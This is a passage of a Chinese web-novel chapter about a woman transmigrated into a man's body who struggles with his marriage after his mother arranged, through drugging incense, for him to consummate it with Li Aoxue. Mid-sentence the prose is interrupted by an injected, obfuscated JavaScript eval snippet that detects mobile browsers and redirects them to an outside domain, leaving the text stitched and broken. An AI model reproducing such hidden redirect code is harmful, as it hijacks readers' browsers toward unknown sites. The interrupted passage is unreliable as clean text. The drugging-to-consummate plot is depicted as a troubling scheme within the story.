这时,门外传来一阵轻微的响动,李傲雪一惊,下意识地抓紧了衣角。门缓缓被推开,玉溪面色苍白地走了进来。她的目光在看到肖晨和李傲雪的瞬间,猛地一滞,随后又迅速垂下眼眸,试图掩饰眼中的伤痛。 李傲雪与玉溪对视了一眼,两人心中都涌起别样的情绪。玉溪嘴唇动了动,想要说些什么,却又不知从何开口。最终,还是李傲雪打破了这令人窒息的沉默:“玉姑娘,昨夜……事已至此,我……” 玉溪深吸一口气,努力让自己的声音听起来平静:“李姑娘,我知道这并非你我本意,只是……”她的声音微微颤抖,“只是公子他……如今该如何是好。” 李傲雪低下头,声音带着一丝苦涩:“我也不知,玉姑娘,我与你一样,对少爷……只是昨夜过后,我的……” 正说着,肖晨嘤咛一声,缓缓转醒。他只觉头痛欲裂,浑身乏力,睁眼看到玉溪和李傲雪都在房内,一脸茫然:“你们……怎么都在这儿?我……我这是怎么了?” 看到肖晨醒来,李傲雪和玉溪都愣住了,两人互相对视一眼,不知该如何向他解释昨夜发生的一切。 肖晨瞪大了双眼,看着李傲雪身上斑驳的痕迹,又瞧瞧自己,瞬间如遭雷击。他满心懊悔,痛苦地抓着自己的头发,脑海里一片混乱,以为是自己醉酒才犯下如此大错。 李傲雪见状,心疼不已,赶忙上前轻轻拉住他的手,柔声道:“少爷,你不要这样。我们本就是夫妻,无论发生什么,我都是心甘情愿跟着你的。”她的眼神中满是深情与哀怨,既心疼肖晨的自责,又为两人如今的关系百感交集。 肖晨抬起头,眼中满是痛苦与愧疚:“傲雪,我……我竟做出这等事,实在是……”他说不下去了,满心的懊恼几乎将他淹没。 一旁的玉溪默默看着这一幕,心中如刀绞一般。她咬着嘴唇,努力不让眼泪落下,转身想悄悄离开这个令她心碎的地方。然而,她刚挪动脚步,肖晨的目光便扫了过来。 “玉溪,你……”肖晨看到玉溪,才想起她也在这房间,更觉愧疚。他不知道玉溪目睹了多少,又该如何面对她。 玉溪停住脚步,强忍着悲痛,挤出一丝微笑:“公子,李姑娘说得对,你们是夫妻。昨夜之事……就当是一场意外吧。我……先告退了。”说完,她匆匆走出房间,留下肖晨和李傲雪在屋内,各怀心事,气氛压抑得让人喘不过气来。 肖晨满心纠结,内心如翻江倒海一般。他的灵魂实则是女人,如今却与李傲雪发生了这样的事,只觉乱了套,完全不知往后该如何自处。 李傲雪见肖晨面色痛苦,误以为他是嫌弃自己,赶忙又轻声说道:“少爷,我们是夫妻,圆房本就是再正常不过的事。您别这样,莫要自责了。”她轻柔地安抚着,试图缓解肖晨的痛苦。 肖晨抬起头,眼神复杂地看着李傲雪,张了张嘴,却不知该如何向她解释自己内心的纠结与挣扎。他深知李傲雪是无辜的,可自己灵魂的秘密又难以启齿。 沉默良久,肖晨深吸一口气,缓缓说道:“傲雪,你别误会,我不是嫌弃你,只是……只是觉得自己昨晚太过荒唐,我……”他无奈地叹了口气,心中的苦闷无处宣泄。 李傲雪微微颔首,靠在肖晨肩头,轻声说:“少爷,过去的事就让它过去吧,往后我们好好过日子便是。”她眼中满是期许,期望能与肖晨携手共度未来。 肖晨却只是苦笑,心中暗自思索着,这看似简单的日子,于他而言却如荆棘满途,自己这灵魂与身体的矛盾,不知要如何才能解开,未来又将何去何从。 肖晨满脸纠结与无奈,看着李傲雪,艰难开口:“昨晚你一定很疼痛吧,只是,我真的没办法跟你一起过日子,我……接受不了。”他内心充满煎熬,自己灵魂的特殊性让他实在无法以“丈夫”身份与李傲雪生活。 李傲雪脸色瞬间变得惨白,眼眶泛红,以为肖晨是不想承认这段关系,嫌弃自己。她声音颤抖,带着一丝哭腔:“你我已经是夫妻,少爷觉得我是不是不配你,还是说……你觉得我很脏?”她满心委屈与不解,自己明明是在母亲安排下,才与肖晨有了这一夜,如今却遭此对待。 肖晨一听,心中大急,赶忙解释:“傲雪,你别这么想,你很好,没有配不配,也不存在脏不脏。只是我……有难以言说的苦衷,这苦衷我现在还无法向你解释清楚。”他满心无奈,深知自己的话苍白无力,可又不知该如何让李傲雪明白。 李傲雪泪流满面,转身背对着肖晨,悲戚地说:“少爷若真觉得我不堪,昨夜又何必……如今事已至此,却又说出这等话,让我今后如何自处。” 肖晨一脸痛苦,眼中满是挣扎,再次强调:“我不能接受你。”李傲雪心中一痛,眼中蓄满泪水,直直地看向肖晨,质问道:“为什么?少爷是不是嫌弃我?如果你嫌弃我就明明白白说出来!”她满心期待着肖晨能给个合理的解释,而不是这般模棱两可的拒绝。 肖晨避开李傲雪的目光,不敢直视她那满是哀怨的双眼,低声说道:“不是的,你很好,无论是品性还是容貌,都无可挑剔。只是……只是你我不配。”话一出口,连他自己都觉得这理由太过牵强,可他又实在无法道出灵魂的秘密。 李傲雪听到这个答案,只觉如坠冰窖。她紧咬下唇,一字一顿地说:“少爷说我很好,却又言我们不配,这算什么理由?难道少爷昨夜的种种,都只是逢场作戏?如今便想这般轻易撇清关系?”她满心的悲愤与委屈,如决堤的洪水般几乎要将她淹没。 肖晨无奈地叹了口气,试图寻找更合适的言辞来解释,却发现一切都是徒劳。他深知此刻自己说什么都难以安抚李傲雪,只能任由沉默在两人之间蔓延,屋内的气氛愈发凝重,让人喘不过气来。 肖晨内心痛苦不堪,可为了让李傲雪彻底死心,他狠狠心,语气冰冷生硬:“我就是嫌弃你,你忘了我说的?碰你一下我都嫌弃,你满意了吧!”话一出口,连他自己都觉得残忍,可又实在想不出别的办法。 李傲雪如遭雷击,脸色瞬间变得煞白,身子摇晃了几下,差点站立不稳。她眼中满是难以置信,泪水不受控制地奔涌而出。“你……你怎么能这么说……”她声音颤抖,带着深深的绝望与悲戚。原本还抱有一丝幻想的她,此刻只觉心被狠狠撕裂。 肖晨看着李傲雪这般痛苦模样,心中泛起一阵愧疚与不忍,但一想到自己特殊的灵魂状况,又不得不硬起心肠。他别过头,不敢再看李傲雪,仿佛多看一眼,就会动摇自己好不容易狠下的决心。 李傲雪呆呆地站在原地,许久,才缓缓转身,脚步虚浮地朝门口走去。每一步都似用尽了全身力气,满心的伤痛让她几乎无法思考。走到门口时,她停住脚步,声音低得几乎听不见:“既然少爷如此嫌弃,往后……我不会再打扰您了……”说完,她轻轻打开门,身影消失在门外,只留下一室寂静与肖晨满心的纠结和自责。 丫鬟轻手轻脚地端着洗漱用具走进房内,小心翼翼地伺候肖晨洗漱穿衣。在这个过程中,她眼观六路,趁着肖晨不注意,悄无声息地将满是痕迹的床单换了下来,转手递给一旁等候的同伴。 那同伴得了床单,脚步匆匆,立刻将东西呈给肖母。肖母正坐在房中,瞧见那床单上鲜艳的红色痕迹,顿时喜上眉梢,笑得眼睛都眯成了缝。她满心欢喜,连忙吩咐身边众人:“快去,备些补身体的好物送去给少夫人,就说让她好好调养调养。” 下人得了令,赶忙下去准备。肖母坐在榻上,脸上的笑意怎么也收不住,心中暗自思忖,这下儿子和儿媳总算是圆房了,这往后啊,家里指不定什么时候就能添个大胖孙子,家族也算后继有人了。想到这儿,她不禁又哼起了轻快的小曲,满心都是对未来美好生活的憧憬。 另一边,李傲雪失魂落魄地回到自己的院子。她神情恍惚,任由丫鬟们伺候着,对周围的一切都仿若未觉。脑海中不断回响着肖晨那绝情的话语,满心的伤痛让她几乎麻木。 没过多久,肖母派人送来了各种滋补品。看着摆满桌子的好物,李傲雪却没有丝毫喜悦。她强撑着精神,向送东西的下人微微欠身表示感谢。下人走后,李傲雪只是静静地望着那些补品,泪水再次模糊了双眼。 她心想,肖母满心欢喜地以为两人琴瑟和鸣,可又怎知昨夜的一切于她而言是何等的痛苦,而肖晨对她又是那般的嫌弃。李傲雪觉得自己仿佛陷入了一个无法挣脱的牢笼,满心的委屈与无奈无处诉说。 此时,玉溪听闻李傲雪回了院子,心中放心不下,便悄悄过来探望。她走进屋子,看到李傲雪形容憔悴,心中不禁一阵心疼。“李姑娘……”玉溪轻声唤道,声音里满是关切。 李傲雪抬起头,看到玉溪,泪水忍不住再次落下。“玉姑娘,我……”她哽咽着,不知该从何说起。玉溪走上前,轻轻握住李傲雪的手,安慰道:“李姑娘,我都明白,你莫要太过伤心,或许……或许公子只是一时糊涂。” 李傲雪苦笑着摇头,“玉姑娘,你不必安慰我了,他说得那般决绝,我又怎会不明白他的心意。只是如今,我该如何是好……”两人相对而坐,李傲雪将心中的苦楚缓缓道出,玉溪静静地听着,时而安慰几句。 玉溪微微皱眉,目光中带着探究,轻声问道:“李姑娘,昨天你拿着迷香做什么?”李傲雪心中一惊,下意识反问:“你怎么会知道?”玉溪轻轻叹了口气,说道:“有些事,瞒不过我的。” 李傲雪犹豫片刻,眼中闪过一丝无奈与痛苦,缓缓说道:“我也是听婆婆的吩咐,她说……说让我用这迷香,促成我和少爷圆房。”玉溪听闻,瞪大了眼睛,满脸的难以置信。 “怎么会……夫人怎能出此下策。”玉溪喃喃自语,心中五味杂陈。她深知肖母一直盼着两人早日圆房,可竟没想到会用如此手段。李傲雪低下头,泪水再次滑落,“我……我也不想的,可婆婆的命令,我又怎能违抗。只是如今,少爷他……” 玉溪轻轻拍了拍李傲雪的手,试图安慰她:“李姑娘,你别太自责,这也不是你的错。只是……只是如今事情闹成这样,只怕难以收场。”李傲雪抬起头,眼中满是无助,“玉姑娘,你说我该怎么办?少爷那般嫌弃我,婆婆还满心欢喜,我……我真的不知道该如何是好了。” 玉溪陷入沉思,片刻后缓缓说道:“或许,我们得找个机会,让少爷和夫人好好谈谈,将事情说清楚,说不定……说不定还有转机。”李傲雪眼中燃起一丝希望,又很快黯淡下去,“只怕……只怕少爷根本不愿提及此事,更不愿与婆婆说。” 玉溪凝视着李傲雪,目光中透着担忧与疑惑,再次追问道:“李姑娘,你当真完全是自愿的吗?”李傲雪微微垂眸,脸上浮现出一抹复杂的神情,轻声说道:“虽说用迷香这种法子的确不妥,但我身为他的妻子,本就该尽到妻子的本分。倘若一直未能圆房,外人知晓了,难免会对我指指点点,说三道四。况且……我心里确实是喜欢他的。” 玉溪听闻,心中不禁泛起一阵酸涩。她理解李傲雪身为封建礼教下女子的无奈,也明白她对肖晨的那份深情。可想到肖晨对李傲雪的态度,又不禁为李傲雪感到心疼。 “李姑娘,你对公子的心意天地可鉴,只是公子他……唉。”玉溪轻轻叹了口气,满心无奈。李傲雪苦笑着摇了摇头,“玉姑娘,我知道你心疼我。只是感情之事,强求不得。如今木已成舟,我只盼少爷能慢慢接受我,哪怕只是看在夫妻情分上。” 玉溪思索片刻后说道:“李姑娘,既然事已至此,或许你可以试着多与公子相处,让他看到你的好,说不定能打动他。我也会在一旁帮衬着你。”李傲雪眼中闪过一丝感激,“玉姑娘,多谢你愿意帮我,若没有你,我真不知该如何面对这一切。” 肖晨满心纠结与无助,脚步沉重地走到客厅,一屁股坐下,脸上写满了痛苦与迷茫。肖母见儿子这般模样,赶忙关切地凑上前,问道:“儿子,这是怎么了?”肖晨抬起头,眼中满是自责与懊悔,说道:“娘,我对傲雪做出了那样的事情……” 肖母心中“咯噔”一下,表面却故作镇定,心虚地说道:“你们本就是夫妻,夫妻之间这般,不是再正常不过了嘛。”肖晨痛苦地摇了摇头,声音低沉:“要不是我喝酒,傲雪也不会被我强迫……”肖母一听,心中暗自庆幸儿子还不知迷香之事,决定将错就错,劝说道:“既然事情已经发生了,那不如就好好过日子,你俩好好相伴,往后的日子还长着呢。” 肖晨却满脸决绝,大声说道:“娘,我做不到!我……我实在无法面对傲雪,无法像寻常夫妻那样与她相处。”肖母愣住了,她没想到儿子的反应如此激烈。她看着肖晨,语重心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993176|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长地说:“儿子,婚姻之事,讲究个责任。你既已成亲,就该担起这份责任,好好对待傲雪。她是个好姑娘,对你也是真心的。” 肖晨站起身来,在客厅里来回踱步,内心痛苦挣扎。“娘,您不懂,有些事不是您想得那么简单。我……我真的没办法装作什么都没发生,若无其事地和她过日子。”肖晨满心无奈,他无法向母亲坦白自己灵魂的秘密,只能独自承受这份煎熬。 肖母看着儿子,心中焦急万分,却又不知该如何劝说。她只盼儿子能早日想通,接受李傲雪,让这个家恢复平静,可此刻儿子的态度,让她深感无力,客厅里的气氛凝重得让人喘不过气来。 肖晨虽满心纠结,但想到昨夜李傲雪所承受的痛苦,心中不禁泛起一阵愧疚。他看向肖母,缓缓说道:“娘,您让厨房炖些汤给傲雪送过去吧。我昨天那般对她,也知道女孩子第一次身体都会很痛,我……我想弥补一下自己的过错。” 肖母听闻,心中一喜,忙不迭点头:“哎,这才对嘛,儿子。你能这么想,娘很欣慰。我这就吩咐厨房去准备,挑些滋补的食材,给傲雪好好补补。”说着,便转身唤来下人,仔细叮嘱了一番炖汤的事宜。 待下人离去,肖母又看向肖晨,语重心长地说:“儿子啊,夫妻之间难免有些磕磕绊绊,你主动示好,这是个好的开始。往后啊,对傲雪多上点心,好好过日子。”肖晨微微颔首,却没有说话,心中依旧五味杂陈。 不一会儿,下人便将炖好的汤送了过来。肖晨看着那热气腾腾的汤,心中有些犹豫,不知李傲雪是否愿意接受自己这份歉意。但最终,他还是接过汤碗,对肖母说道:“娘,我亲自给傲雪送去吧。”肖母笑着点头:“好,好,你亲自去,更显诚意。” 肖晨端着汤,迈着略显沉重的步伐,朝李傲雪的院子走去。一路上,他脑海中不断浮现出李傲雪伤心哭泣的模样,心中愈发愧疚。当他走到院门口时,深吸一口气,轻轻推开了门,不知等待他的,会是李傲雪怎样的反应。 玉溪和李傲雪正相对而坐,沉浸在各自的思绪中,忽见肖晨推门而入。玉溪率先反应过来,诧异道:“公子,你怎么来了?”李傲雪神色复杂,眼中闪过一丝哀怨,冷哼一声道:“少爷不是嫌弃我吗?怎么还来了?” 肖晨一脸愧疚,缓缓走上前,轻声说道:“昨天是我喝醉酒强迫了你……”听到这话,玉溪和李傲雪不禁瞪大了眼睛,面面相觑,看来肖晨果真不知迷香之事。 肖晨顿了顿,继续说道:“我让人炖了汤,你喝点补补身子。你的身体一定很痛吧,我……我对不起你。”说着,他将手中的汤碗轻轻放在桌上,眼神中满是自责与关切。 李傲雪望着那碗汤,又抬眼看向肖晨,泪水在眼眶里打转。她怎么也没想到,原本绝情的肖晨竟会主动前来道歉,还带来了补汤。玉溪在一旁看着,心中暗暗为李傲雪感到高兴,轻声说道:“李姑娘,公子一番心意,你就喝些吧。” 李傲雪犹豫片刻,缓缓起身,走到桌前。她拿起汤碗,手微微颤抖。看着肖晨,声音略带哽咽:“少爷,你……你真的知道错了吗?”肖晨赶忙点头,诚恳地说:“傲雪,我知道错了。我不该那般对你,往后……往后我会尽量弥补。”李傲雪微微颔首,轻抿了一口汤,温暖的汤汁顺着喉咙流下,也稍稍慰藉了她那颗受伤的心。 肖晨见李傲雪喝完了汤,心中的愧疚稍稍减轻了些,但疑惑仍在心头。他看着李傲雪,轻声问道:“为什么你昨天不反抗,也不让人叫醒我呢?”李傲雪心中一紧,她实在没办法说出是肖母让她用迷香的事,犹豫片刻后,嗫嚅着说道:“你我是夫妻呀,这……这也是我该做的。” 肖晨微微皱眉,对这个回答并不十分满意,但也不好再追问下去。他轻轻叹了口气,说道:“即便如此,往后若再遇到类似的事,你还是要懂得保护自己,莫要再这般委屈自己。”李傲雪心中涌起一股暖流,微微点头,低声应道:“嗯,我知道了,少爷。” 玉溪在一旁看着这一幕,心中既为李傲雪感到欣慰,又隐隐有些失落。她深知肖晨与李傲雪之间已因这一夜有了难以割舍的联系,而自己与肖晨,似乎再无可能回到从前。但她还是强打起精神,笑着说道:“好了,公子能有这份心意,李姑娘也别再难过了,往后日子还长,好好相处便是。” 肖晨与李傲雪闻言,都将目光投向玉溪。肖晨心中对玉溪也满怀歉意,说道:“玉溪,此事也多亏你在一旁照拂傲雪,改日我定当好好谢你。”玉溪连忙摆手,说道:“公子言重了,我与李姑娘投缘,相互照应也是应该的。” 李傲雪鼓起勇气,眼中带着一丝期许,轻声问道:“少爷,你能接受我吗?”肖晨面露难色,心中满是纠结与痛苦,缓缓说道:“我依旧不能接受你。只是……我对自己犯下的错,实在难以原谅。” 他的内心犹如翻江倒海一般,备受煎熬。自己灵魂本是女子,却以这男儿身对另一个女人做出如此之事,即便李傲雪并非完全被迫,可他深知这种行为对一个女子的伤害之大。他痛苦地闭上双眼,试图平复内心的波澜,却只是徒劳。 李傲雪听闻此言,眼中刚刚燃起的希望瞬间熄灭,泪水再次模糊了视线。“少爷,难道……难道无论我怎么做,都无法得到你的认可吗?”她声音颤抖,满心的委屈与无奈几乎将她淹没。 肖晨睁开眼睛,看着李傲雪悲伤的模样,心中的愧疚如潮水般涌来。“傲雪,你别这样……这并非是你的错,只是我……我有自己难以言说的苦衷。”他试图解释,却又不知从何说起,只能任由沉默在三人之间蔓延。 玉溪在一旁看着两人,心中既心疼李傲雪,又理解肖晨的纠结。她轻轻叹了口气,打破沉默:“公子,李姑娘,感情之事强求不得,但如今事已至此,或许大家可以试着慢慢相处,说不定……说不定会有所改变呢。”她的话语中带着一丝期许,希望能缓解这沉重压抑的气氛。 李傲雪微微点头,用帕子轻轻拭去泪水,“玉姑娘说得对,少爷,我愿意等,等你能接受我的那一天。” 肖晨一脸决然,缓缓开口:“不会有那么一天的,我无法爱上任何女人。”他心中藏着不为人知的秘密,倘若有朝一日自己回到现代,原身归来,一切又该如何收场?他深知不能如此自私,将身边人都拖入痛苦的深渊。 李傲雪听到这话,如遭雷击,原本还存有的一丝幻想彻底破灭。她嘴唇颤抖,泪水不受控制地滑落:“少爷,为何如此决然?难道我真的这般不堪,让你连一丝机会都不愿给我?”她满心悲戚,实在不明白肖晨为何如此固执。 肖晨看着李傲雪悲痛欲绝的模样,心中也不好受,但他不得不狠下心肠。“傲雪,这与你无关,是我自身的问题。有些事太过复杂,我无法向你解释清楚。但请相信,我并非有意要伤害你。”他满心无奈,这难以言说的苦衷像一块巨石,沉甸甸地压在他心头。 玉溪在一旁看着两人,心中既为李傲雪难过,又对肖晨的坚持感到疑惑。“公子,究竟是何原因,让你如此抗拒?你这般,李姑娘该有多伤心。”她试图让肖晨说出缘由,或许解开这心结,一切还有转机。 肖晨却只是摇头,沉默良久后说道:“有些事说出来,只会让大家更痛苦。我不能因为自己,让所有人陷入万劫不复之地。”他眼神坚定,即便内心痛苦万分,也不愿改变主意。屋内气氛压抑到了极点,李傲雪的哭声,肖晨的无奈,玉溪的叹息交织在一起,未来的方向,似乎变得愈发渺茫。 16. 他来给她赔罪 玉溪看着肖晨,一脸恳切地劝说道:“公子,当时你拒绝了我,这我已然接受。可如今你与李姑娘已经成婚,且有了夫妻之实,为何还是不能接受她呢?” 肖晨面露痛苦之色,长叹一口气道:“我有自己的无奈啊。我又何尝不想像常人一样,好好去爱一个人。可是……我真的做不到。”他转头看向李傲雪,目光中满是怜惜与愧疚,“傲雪,你真的很好。自从我见你的第一眼,就被你吸引住了。你的温柔、善良,无一不让我心动。” 李傲雪眼中闪过一丝希冀,可肖晨紧接着的话,又将她打入谷底。“但我不能违背道德……有些事,你们根本无法想象,也难以理解。我若因为一时冲动,接受了你,将来带给大家的,只会是更大的伤害。” 李傲雪忍不住问道:“少爷,究竟是什么事?难道比我们夫妻情分还重要吗?你说出来,说不定我们可以一起面对。” 肖晨却只是苦涩地摇头,他怎能说出自己灵魂来自现代,不知何时就会回去,而原身又可能回来的事呢?这一切太过离奇,说了只怕她们会觉得自己疯了。“傲雪,你别问了。我只能尽量补偿你,在生活上照顾你,但感情之事,我真的无能为力。” 玉溪和李傲雪对视一眼,都从对方眼中看到了无奈与困惑。这看似无解的局面,像一座大山,横亘在三人之间,让人喘不过气来,未来的日子,似乎注定要在纠结与痛苦中度过。 肖晨内心如乱麻般纠结,他清楚同性恋无论是在这封建的古代,还是看似开放的现代,都难以被广泛接受。在现代,自己的父母皆是平凡之人,若知晓他的性取向,根本无力承受周围异样的目光和巨大的压力。 一想到这里,他就觉得仿佛有一双无形的大手,死死地扼住他的咽喉,压抑得快要喘不过气来。在古代,礼教森严,违背伦常的恋情更是大逆不道,他根本不敢想象一旦自己的真实情感暴露,会引发怎样的轩然大波。 眼前李傲雪满含期待与哀怨的眼神,让他满心愧疚却又无从诉说。他只能强忍着内心的痛苦,将这份情感深埋心底,把所有的压抑和无奈独自咽下。他感觉自己像是被困在一个密不透风的牢笼里,找不到出口,也无法挣脱这无形的枷锁,只能在痛苦中苦苦挣扎。 肖晨在现代时,作为一名普通女孩,生活简单而快乐。她和许多同龄人一样,会为帅气的男明星心动,憧憬着美好的爱情,享受着青春的悸动。可命运弄人,不知为何,她竟魂穿到古代男子的身上。 当见到李傲雪的那一刻,他的心不由自主地被牵引。李傲雪的一颦一笑,温柔婉约的气质,都让他难以抗拒。尽管理智告诉他,如今自己身为男儿身,这份情感发展下去只会是一场灾难,但内心的情感却如脱缰的野马,不受控制。 他常常在无人处暗自神伤,既无法割舍对李傲雪的这份特殊情感,又深知这在古代是不被认可的。这种矛盾的心情如同尖锐的针,一下又一下刺痛他的心,让他陷入无尽的纠结与痛苦之中,不知该如何面对自己内心真实的情感,以及这段错综复杂的关系。 肖晨满脸痛苦与无奈,看向李傲雪,声音低沉地说道:“你要打要骂都可以,是我对不住你。”李傲雪眼中泪水盈盈,情绪激动地说道:“少爷,我怎么会这样对你?你是我的男人啊,我们已然有了夫妻之实,如今你却不要我,你叫我以后该如何自处?” 她的声音带着哭腔,满心的委屈与绝望。在这封建礼教森严的时代,女子的贞洁重于一切,与丈夫圆房后却遭抛弃,她实在难以想象往后的日子该如何度过。“少爷,难道在你心中,我就这般无足轻重?昨夜的种种,难道你都能当作从未发生过?” 肖晨心中一阵刺痛,李傲雪的每一句话都如重锤般敲打着他的心。他何尝不知道自己的行为对李傲雪造成了多大的伤害,可内心的矛盾与挣扎让他无法轻易接受这份感情。“傲雪,我……我不是有意要伤害你,只是我……有苦衷,我真的无法给你想要的未来。” 李傲雪泪流满面,缓缓走到肖晨面前,抓住他的衣袖,哀求道:“少爷,你告诉我,究竟是什么苦衷?只要你说出来,我们一起想办法解决,好不好?我不想失去你,真的不想……”她的眼神中充满了绝望中的最后一丝希冀,紧紧盯着肖晨,仿佛要从他的眼神中寻出一丝转机。 肖晨满脸无奈与愧疚,看着李傲雪,语气中带着一丝不解与动容:“你为什么要对我这么好,明知道我不能爱你。”李傲雪抬起头,眼中泪光闪烁,声音轻柔却坚定:“少爷,是你的温柔,还有平日里对我的呵护,让我怎能不倾心于你。别的男人见了女人,大多眼神中满是欲望,可你的眼睛却清澈无比,对我也始终十分尊重。” 李傲雪顿了顿,似是鼓起了莫大的勇气,继续说道:“从那些细微之处,我能感受到你是真心待我好,并非虚情假意。在这深宅大院里,能遇到像你这般的人,于我而言,是莫大的幸运。即便你如今说不能爱我,可我对你的心意,又怎是说收回就能收回的。” 肖晨听着李傲雪的倾诉,心中五味杂陈。他深知自己对李傲雪的好,本是出于内心的善良与尊重,却不想在李傲雪心中种下了情根。他满心无奈,又着实被李傲雪的深情所打动。“傲雪,你这般深情,叫我……叫我如何是好。我并非铁石心肠,只是……只是诸多无奈,让我不敢轻易回应你的感情。” 李傲雪轻轻摇头,眼中满是执着:“少爷,我不求你立刻回应我,只求你别再这般拒我于千里之外。让我能留在你身边,哪怕只是以妻子之名,默默相伴,便足矣。” 玉溪看着肖晨,诚恳地说道:“是啊,公子。李姑娘确实是个难得的好人。自与她接触以来,我深切能感受到她和别的女子不同。她不仅心地善良,而且很尊重我,丝毫没有因为我的出身就看不起我。” 肖晨微微点头,心中对李傲雪的印象又多了几分好感,可内心的矛盾依然让他无法释怀。他看向玉溪,轻声说道:“你先出去一下吧,我有话单独跟她说。”玉溪明白肖晨的意思,微微欠身,转身走出房间,轻轻带上了门。 房间里只剩下肖晨和李傲雪,气氛瞬间变得安静而又有些紧张。肖晨深吸一口气,缓缓开口:“傲雪,玉溪所言,我都听到了。我也知道你是个好女子,可我……唉。”他心中千头万绪,不知该如何向李傲雪表明自己的心意。 李傲雪静静地看着肖晨,眼中满是期待,轻声说道:“少爷,有什么话,你就直说吧,无论什么,我都愿意听。”肖晨看着李傲雪那清澈而又饱含深情的眼睛,心中一阵刺痛,他艰难地说道:“傲雪,你这般好,我又何尝不知。只是我的情况太过复杂,复杂到连我自己都理不清。我害怕给不了你想要的未来,更害怕伤害到你。” 李傲雪心中一紧,赶忙说道:“少爷,未来之事,谁又能说得准呢?只要我们一起面对,又有什么过不去的坎儿呢?我不怕吃苦,也不怕面对未知,只求能与你相伴。”肖晨听着李傲雪坚定的话语,心中的纠结愈发强烈,不知该如何回应这份炽热的感情。 肖晨神情认真,直视着李傲雪的眼睛说道:“傲雪,那天早上我跟你说过的话不是假的。我的那些朋友,她们真不是你想的那种风尘女子。她们虽然身处不同环境,行事作风与寻常女子不同,但她们对我都很好,我们之间有着真挚的情谊。” 李傲雪微微颔首,眼中闪过一丝愧疚,轻声说道:“少爷,是我误会了,我不该仅凭表象就那般猜测。只是……只是当时听闻你与她们过往甚密,心中难免担忧,才会口不择言。” 肖晨轻轻叹了口气,说道:“我明白你的担忧,只是她们于我而言,更似亲人。她们的生活方式虽不被世俗理解,可她们重情重义。我不想你因为误解,对她们心生偏见。” 李傲雪赶忙说道:“少爷放心,往后我不会再无端猜测了。若有机会,我也想见见她们,向她们赔个不是。”肖晨看着李傲雪,心中涌起一丝暖意,说道:“你能这么想,我很欣慰。只是江湖复杂,她们的生活环境与你不同,若真相见,你莫要害怕。”李傲雪坚定地点点头,“少爷,我不怕,我也想多了解你身边的人,走近你的生活。” 此刻,两人之间的气氛较之前缓和了许多,似乎那层隔阂也在慢慢消融。 肖晨目光诚挚,继续对李傲雪说道:“就像我跟玉溪一样。她虽出身香满楼,但她一直洁身自好,这你也能感受到她的好。我们之间纯粹是普通朋友,真的没有发生过什么。不能因为出身,就将人一竿子打死,不是所有的人都是坏的,他们只是被生活所迫,才走上了一些无奈的道路。” 李傲雪微微动容,心中对肖晨的理解又深了几分。她轻声说:“少爷,经你这么一说,我确实觉得自己之前想法太狭隘了。玉溪姑娘与我相处,真诚友善,的确是个难得的好人。我不该因她的出身就心存偏见。” 肖晨面露欣慰之色,“是啊,傲雪,每个人都有自己的苦衷。像玉溪,她在那样的环境中,仍能坚守本心,实属不易。我们应该多些理解和包容。我希望你能明白,看人不能只看表面,更要看到他们内心的善良与坚韧。” 李傲雪重重点头,“少爷教诲,我记住了。往后我会以更友善的态度对待玉溪姑娘,也会尝试理解像她这样的人。”肖晨看着李傲雪,心中满是感慨,觉得她能这般通情达理,实在难能可贵。 肖晨关切地望向李傲雪,轻声询问:“你的身子骨现在怎么样了?”话刚出口,他像是本能反应般,不经意间又轻轻拉开了她的衣服,当看到她身上因昨夜留下的痕迹时,心中满是自责与心疼,脱口而出:“会不会很疼?” 李傲雪脸颊瞬间泛起红晕,身子微微一颤,下意识地想要遮挡。她既羞涩于这般亲密的举动,又被肖晨突如其来的关心弄得有些不知所措。“我……我没事了,少爷。”她声音轻柔,带着一丝娇嗔,头也不自觉地低了下去。 肖晨这才意识到自己行为的不妥,急忙松开手,满脸歉意:“抱歉,傲雪,我……我只是太担心你,一时情急,没注意分寸。”他心中懊悔不已,担心自己鲁莽的举动又让李傲雪感到不适。 李傲雪见肖晨一脸懊悔,误以为他不高兴,赶忙说道:“少爷,我没有怪你呀。”说着,竟主动轻轻拉开自己的衣服,眼中带着一丝倔强与讨好,“我真的不怕疼的。” 肖晨看着她这般模样,心中愈发愧疚。他缓缓伸出手,轻柔地抚摸着那些伤痕,动作小心翼翼,仿佛怕弄疼了她。看着李傲雪,眼神中满是怜惜,轻声说道:“你躺下休息吧。这几天我来照顾你。” 李傲雪微微一怔,眼中闪过惊喜与感动。“少爷,你……”她没想到肖晨会有这样的举动,原本以为肖晨会一直对自己疏离,如今他竟说要照顾自己,这让她心中五味杂陈。 肖晨扶着李傲雪缓缓躺下,细心地为她掖好被子。“你好好休息,有什么需要就告诉我。”他的声音温柔而坚定,就像一阵春风,轻轻拂过李傲雪的心间。李傲雪微微点头,眼中满是依赖与幸福,在肖晨的注视下,缓缓闭上了眼睛,心中默默期许着,或许两人的关系,能借此机会有所改变。 李傲雪刚要陷入梦乡,却又突然睁开眼睛,眼神中带着一丝怯意与期待,对肖晨说道:“少爷,你能陪我一起睡吗?”肖晨听到这话,微微一愣,嗫嚅着:“我,我……” 李傲雪见他这般犹豫,心中一紧,以为肖晨又开始嫌弃自己,赶忙说道:“少爷,我是不是说错话了?要是为难,当我没说。”说着,眼中已隐隐泛起泪花。 肖晨见状,心中满是不忍,急忙解释:“没有,傲雪,你别误会。只是……只是我一时不知该怎么办才好。既然你想让我陪,我陪着你就好。”说完,他略带迟疑地上了床,在李傲雪身边躺下。 李傲雪心中大喜,往肖晨身边挪了挪,紧紧挨着他,脸上露出安心的笑容。肖晨身体微微僵硬,他从未与女子如此亲近共眠,心中既紧张又有些不知所措。但看着李傲雪满足的模样,他渐渐放松下来,轻轻伸出手臂,让李傲雪枕着,轻声说道:“睡吧,有我在。”李傲雪应了一声,在肖晨温暖的怀抱中,缓缓睡去,脸上洋溢着幸福,而肖晨看着她恬静的睡颜,心中也泛起了一丝别样的情愫。 